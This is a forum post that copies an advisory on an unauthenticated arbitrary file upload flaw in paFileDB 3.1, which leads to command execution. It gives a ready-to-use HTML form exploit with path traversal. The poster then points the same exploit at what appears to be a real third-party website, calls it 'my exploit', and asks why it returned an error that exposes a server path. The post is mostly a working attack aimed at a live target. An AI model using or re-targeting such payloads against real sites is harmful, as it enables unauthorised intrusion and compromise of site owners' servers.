I have just found a bug and exploit of paFileDB Version 3.1
| Code: |

============
Introduction
============
(taken from website)
---*---
paFileDB is designed to allow webmasters have a database of files for download on their site. To add a download, all you do is upload the file using FTP or whatever method you use, log into paFileDB's admin center, and fill out a form to add a file.
---*---
=====================
Vulnerability Details
=====================
1) ARBITRARY FILE UPLOAD
========================
the script "/includes/team/file.php" (and maybe others) does not check for a valid session.
therefore it is possible to upload arbitrary files by creating/modifying a single form-parameter.
Form-example:
---*---
<html><body>
<form ENCTYPE="multipart/form-data" method="POST" action="http://srv/pafiledb/includes/team/file.php">
<input name="userfile" TYPE="file"><br>
<input name="userfile_name" TYPE="text" value="../../../uploads/makeawish"><br>
<input type="hidden" name="action" value="team">
<input type="hidden" name="tm" value="file">
<input type="hidden" name="file" value="upload">
<input type="hidden" name="upload" value="do">
<input type=submit name=submit value="doit">
</form>
</body></html>
---*---
2) ARBITRARY OS-COMMAND EXECUTION
=================================
by uploading program- or script-files.
Severity: HIGH
=======
Remarks
=======
typical php-upload problem
====================
Recommended Hotfixes
====================
software patch.

Here is my exploit :
| Code: |
<html><body>
<form ENCTYPE="multipart/form-data" method="POST" action="http://www.vnonlines.com/download/includes/team/file.php">
<input name="userfile" TYPE="file"><br>
<input name="userfile_name" TYPE="text" value="../../../uploads/makeawish"><br>
<input type="hidden" name="action" value="team">
<input type="hidden" name="tm" value="file">
<input type="hidden" name="file" value="upload">
<input type="hidden" name="upload" value="do">
<input type=submit name=submit value="doit">
</form>
</body></html>
|
But I get an error :
Fatal error: Call to undefined function: doublecheck() in /usr/local/pem/vhosts/17426/webspace/httpdocs/download/includes/team/file.php on line 32
